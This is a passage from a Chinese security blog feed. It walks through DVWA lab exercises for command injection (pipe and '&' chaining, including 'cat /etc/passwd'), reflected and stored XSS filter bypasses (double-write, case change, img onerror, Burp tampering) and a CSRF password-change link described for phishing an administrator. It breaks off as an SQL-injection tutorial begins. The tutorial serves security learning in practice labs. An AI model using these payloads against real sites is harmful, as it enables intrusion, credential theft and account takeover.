&lt;details class=&#34;lake-collapse&#34;&gt;&lt;summary id=&#34;u379e3f46&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;补充2(点击展开)：&lt;/span&gt;&lt;/strong&gt;&lt;/summary&gt;&lt;p id=&#34;ub9fb94c3&#34; class=&#34;ne-p&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;在Windows CMD中可以通过&lt;/span&gt;&lt;code class=&#34;ne-code&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;&amp;amp;、&amp;amp;&amp;amp;&lt;/span&gt;&lt;/code&gt;&lt;span class=&#34;ne-text&#34;&gt;符号同时输入并执行两条指令，其他也有&lt;/span&gt;&lt;code class=&#34;ne-code&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;|、||&lt;/span&gt;&lt;/code&gt;&lt;span class=&#34;ne-text&#34;&gt;等在特定条件下可用&lt;/span&gt;&lt;/p&gt;&lt;p id=&#34;u8c44826e&#34; class=&#34;ne-p&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;例如执行&lt;/span&gt;&lt;code class=&#34;ne-code&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;ping www.retr0.xyz &amp;amp; ipconfig&lt;/span&gt;&lt;/code&gt;&lt;span class=&#34;ne-text&#34;&gt;，输出&lt;/span&gt;&lt;/p&gt;&lt;pre data-language=&#34;plain&#34; id=&#34;wvxQd&#34; class=&#34;ne-codeblock language-plain&#34;&gt;&lt;code&gt;正在 Ping www.retr0.xyz [104.21.69.83] 具有 32 字节的数据:
来自 104.21.69.83 的回复: 字节=32 时间=211ms TTL=128
来自 104.21.69.83 的回复: 字节=32 时间=202ms TTL=128
来自 104.21.69.83 的回复: 字节=32 时间=200ms TTL=128
来自 104.21.69.83 的回复: 字节=32 时间=201ms TTL=128
104.21.69.83 的 Ping 统计信息:
    数据包: 已发送 = 4，已接收 = 4，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
    最短 = 200ms，最长 = 211ms，平均 = 203ms
Windows IP 配置
以太网适配器 Ethernet0:
   连接特定的 DNS 后缀 . . . . . . . : localdomain
   本地链接 IPv6 地址. . . . . . . . : fe80::9087:a026:a5bf:e1c5%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.80.134
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.80.2&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;
我们直接填入`127.0.0.1 &amp; ipconfig`即可
&lt;h3 id=&#34;high-高难度&#34;&gt;high 高难度
&lt;/h3&gt;&lt;p&gt;现在我们加大难度为high，重新查看源代码发现多出了过滤机制&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// Set blacklist
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$substitutions&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;amp;&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;;&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;| &amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;-&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;$&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;(&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;)&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;`&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;||&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// Remove any of the charactars in the array (blacklist).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$target&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;str_replace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array_keys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$substitutions&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$substitutions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$target&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;details class=&#34;lake-collapse&#34;&gt;&lt;summary id=&#34;u2313980e&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;补充3(点击展开)：&lt;/span&gt;&lt;/strong&gt;&lt;/summary&gt;&lt;p id=&#34;u5ff13468&#34; class=&#34;ne-p&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;str_replace的用法：str_replace(&amp;quot;要换的字符串&amp;quot;,&amp;quot;替换为&amp;quot;,作用于哪个变量)，例如：&lt;/span&gt;&lt;/p&gt;&lt;pre data-language=&#34;php&#34; id=&#34;EylAn&#34; class=&#34;ne-codeblock language-php&#34;&gt;&lt;code&gt;&amp;lt;?php
$a = $_GET[&#39;username&#39;];
$b = str_replace(&#39;t&#39;,&#39;x&#39;,$a);
echo $b;
?&amp;gt;  &lt;/code&gt;&lt;/pre&gt;&lt;p id=&#34;u9f0eeedd&#34; class=&#34;ne-p&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;打开url:&lt;/span&gt;&lt;span class=&#34;ne-text&#34; style=&#34;text-decoration: underline&#34;&gt;http://127.0.0.1/test.php?username=retr0&lt;/span&gt;&lt;span class=&#34;ne-text&#34;&gt;，返回 rexr0&lt;/span&gt;&lt;/p&gt;&lt;p id=&#34;u3ffb944b&#34; class=&#34;ne-p&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/details&gt;
&lt;p&gt;&lt;strong&gt;漏洞解析：&lt;/strong&gt; 观察发现屏蔽名单中&amp;rsquo;| &amp;lsquo;为一个管道符加一个空格，因此我们填入&lt;code&gt;127.0.0.1 |ipconfig&lt;/code&gt;即可&lt;/p&gt;
&lt;h3 id=&#34;如果在linux环境下&#34;&gt;如果在linux环境下
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;ping 127.0.0.1 &amp;amp; cat /etc/passwd&lt;/code&gt;		几乎同时执行&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ping 127.0.0.1 &amp;amp;&amp;amp; cat /etc/passwd&lt;/code&gt;	执行完左边去执行右面&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ping 127.0.0.1 | cat /etc/passwd&lt;/code&gt;		只执行右面&lt;/p&gt;
&lt;h2 id=&#34;反射型跨站点脚本xss&#34;&gt;反射型跨站点脚本（XSS）
&lt;/h2&gt;&lt;p&gt;打开dvwa中XSS 反射型页面，随便输入几个字符测试，以retr0为例&lt;/p&gt;
&lt;h3 id=&#34;low-低难度-1&#34;&gt;low 低难度
&lt;/h3&gt;&lt;p&gt;右键查看页面源代码发现提交的字符会直接填到下面的“你好”后面，如图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/11/30/692bde48f2573.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;结合右下角查看php源代码也可以得到&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞解析：&lt;/strong&gt; 因此我们可以在输入的字符串中插入&lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;的html脚本，让网页执行我们的脚本代码&lt;/p&gt;
&lt;p&gt;填入&lt;code&gt;ret&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;r0&lt;/code&gt;,网页弹窗内容‘123’&lt;/p&gt;
&lt;h3 id=&#34;medium-中等难度&#34;&gt;medium 中等难度
&lt;/h3&gt;&lt;p&gt;点击右下角查看源代码发现添加了过滤机制：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;str_replace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;lt;script&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;漏洞解析：&lt;/strong&gt; 屏蔽代码只过滤了一次&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;，因此我们使用&lt;strong&gt;双写绕过&lt;/strong&gt;，填入&lt;code&gt;ret&amp;lt;sc&amp;lt;script&amp;gt;ript&amp;gt;alert(123)&amp;lt;/script&amp;gt;r0&lt;/code&gt;，其中&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;被过滤后又重新组合为新的&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;从而生效；此外将&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;中的字符替换为大写也可以，例如&lt;code&gt;ret&amp;lt;sCRIpt&amp;gt;alert(123)&amp;lt;/script&amp;gt;r0&lt;/code&gt;（原理：前端代码不识别&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;大小写）&lt;/p&gt;
&lt;h3 id=&#34;high-高难度-1&#34;&gt;high 高难度
&lt;/h3&gt;&lt;p&gt;点击右下角查看源代码发现升级了过滤机制：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;preg_replace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;/&amp;lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;因此直接使用&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;的方法已经完全不可用&lt;/p&gt;
&lt;details class=&#34;lake-collapse&#34;&gt;&lt;summary id=&#34;uac399e3e&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;补充4(点击展开)：&lt;/span&gt;&lt;/strong&gt;&lt;/summary&gt;&lt;p id=&#34;ua01b29af&#34; class=&#34;ne-p&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;html存在以下加载图片的句法：&lt;/span&gt;&lt;/p&gt;&lt;p id=&#34;ub002ff6c&#34; class=&#34;ne-p&#34;&gt;&lt;code class=&#34;ne-code&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;&amp;lt;img src=&#39;x&#39; onerror=&#39;alert(123)&#39;/&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p id=&#34;ud33b8c46&#34; class=&#34;ne-p&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;当页面试图加载名为x的图片但是失败时就会把onerror后面的代码当作JavaScript来执行&lt;/span&gt;&lt;/p&gt;&lt;p id=&#34;u687461e0&#34; class=&#34;ne-p&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;另外还有&lt;/span&gt;&lt;code class=&#34;ne-code&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;onmouseover=&lt;/span&gt;&lt;/code&gt;&lt;span class=&#34;ne-text&#34;&gt;(鼠标浮过)&lt;/span&gt;&lt;code class=&#34;ne-code&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;onmouseup=&lt;/span&gt;&lt;/code&gt;&lt;span class=&#34;ne-text&#34;&gt;(鼠标松开)&lt;/span&gt;&lt;code class=&#34;ne-code&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;onmousedown=&lt;/span&gt;&lt;/code&gt;&lt;span class=&#34;ne-text&#34;&gt;(鼠标按下)等参数可供替换&lt;/span&gt;&lt;/p&gt;&lt;/details&gt;
&lt;p&gt;&lt;strong&gt;漏洞解析：&lt;/strong&gt; 我们利用html图片加载代码来执行js，填入&lt;code&gt;ret&amp;lt;img src=&#39;x&#39; onerror=&#39;alert(123)&#39;/&amp;gt;r0&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;存储的跨站点脚本xss&#34;&gt;存储的跨站点脚本（XSS）
&lt;/h2&gt;&lt;p&gt;打开dvwa中XSS 存储型页面，随便输入几个字符测试&lt;/p&gt;
&lt;h3 id=&#34;low-低难度-2&#34;&gt;low 低难度
&lt;/h3&gt;&lt;p&gt;发现和上面的反射型原理类似，直接填入留言&lt;code&gt;hel&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;lo&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;medium-中等难度-1&#34;&gt;medium 中等难度
&lt;/h3&gt;&lt;p&gt;查看源代码发现在留言上启用了htmlspecialchars（将特定的 HTML 字符转换为 HTML 实体字符），名字上添加了过滤，如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$message&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;htmlspecialchars&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$message&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;str_replace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;lt;script&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$name&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;因此我们针对名字下手，直接填入&lt;strong&gt;双写绕过&lt;/strong&gt;的字符串发现网页对长度有限制，所以要用burp suite修改数据包&lt;/p&gt;
&lt;p&gt;随便填写名字和留言（以123；hello）为例，打开抓包后点击“提交留言”，发现截获的数据包有以下内容（不一定完全一致）：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;txtName=123&amp;amp;mtxMessage=hello&amp;amp;btnSign=%E6%8F%90%E4%BA%A4%E7%95%99%E8%A8%80&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将这里的123改为&lt;code&gt;hel&amp;lt;sc&amp;lt;script&amp;gt;ript&amp;gt;alert(123)&amp;lt;/script&amp;gt;lo&lt;/code&gt;后放行数据包发现提交成功&lt;/p&gt;
&lt;h3 id=&#34;high-高难度-2&#34;&gt;high 高难度
&lt;/h3&gt;&lt;p&gt;查看源代码发现名字对&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;的屏蔽升级：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;preg_replace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;/&amp;lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$name&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;漏洞解析：&lt;/strong&gt; 依旧结合抓包使用图片加载机制传入字符串&lt;code&gt;hel&amp;lt;img src=&#39;x&#39; onerror=&#39;alert(123)&#39;/&amp;gt;lo&lt;/code&gt;，成功提交&lt;/p&gt;
&lt;h2 id=&#34;跨站请求伪造-csrf&#34;&gt;跨站请求伪造 (CSRF)
&lt;/h2&gt;&lt;h3 id=&#34;low-低难度-3&#34;&gt;low 低难度
&lt;/h3&gt;&lt;p&gt;打开dvwa中跨站请求伪造 (CSRF)页面，随便输入几个字符测试&lt;/p&gt;
&lt;p&gt;获取当前页面的url：&lt;u&gt;http://127.0.0.1/vulnerabilities/csrf/?password_new=password&amp;amp;password_conf=password&amp;amp;Change=æ´æ¹#&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;应用场景：&lt;/strong&gt; 利用上面的连接制作钓鱼网站诱导某网站管理员点击该链接即可直接修改管理员密码&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.5 SQL注入系列-1</title>
        <link>https://www.retr0.xyz/p/1.5-sql%E6%B3%A8%E5%85%A5%E7%B3%BB%E5%88%97-1/</link>
        <pubDate>Fri, 28 Nov 2025 20:07:03 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.5-sql%E6%B3%A8%E5%85%A5%E7%B3%BB%E5%88%97-1/</guid>
        <description>&lt;h2 id=&#34;手动注入order-by与联合查询注入&#34;&gt;手动注入(ORDER BY与联合查询注入)
&lt;/h2&gt;&lt;p&gt;以靶场&lt;a class=&#34;link&#34; href=&#34;http://sqlilabs.njhack.xyz/Less-1/index.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;http://sqlilabs.njhack.xyz/Less-1/index.php&lt;/a&gt;为例&lt;/p&gt;
&lt;h3 id=&#34;step1破坏数据库语句&#34;&gt;Step1：破坏数据库语句
&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;破坏数据库语句的目的就是让数据库报错，通过报错信息猜测查询语句的写法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;数据库传入参数的几种闭合方式：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
